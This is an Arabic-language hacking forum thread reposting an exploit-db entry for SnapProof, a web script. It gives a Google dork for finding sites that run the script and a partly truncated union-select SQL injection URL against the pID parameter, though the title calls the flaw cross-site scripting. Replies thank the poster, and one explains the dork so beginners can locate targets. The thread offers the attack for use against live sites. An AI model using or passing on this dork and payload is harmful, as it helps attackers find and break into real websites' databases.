(SQL) SnapProof (cart.php) Cross Site Scripting

[هاوي حنانك]

السلام عليكم

Google Dork: inurl:"Created and powered by SnapProof"


===[ Exploit ]===

www.site.com/page.php?pID=null[Sql]

http://www.site.com/page.php?pID=nul...select+1,2,3,4

################################################## ##################



مصاب بـ

sql injection


المصدر

http://www.exploit-db.com/exploits/16257/

[e . V . E . L]

يعطيك العافية حـبيبي ماقصرت ..

وللاخوان المبتدئين ترى هذا الدورك .

inurl:page.php?pID=null طبعا هذا المتغير

وهذا السكربت المصاب

Created and powered by SnapProof

موفقين

[hooos]

مشكورين والله يعطيكم العافيه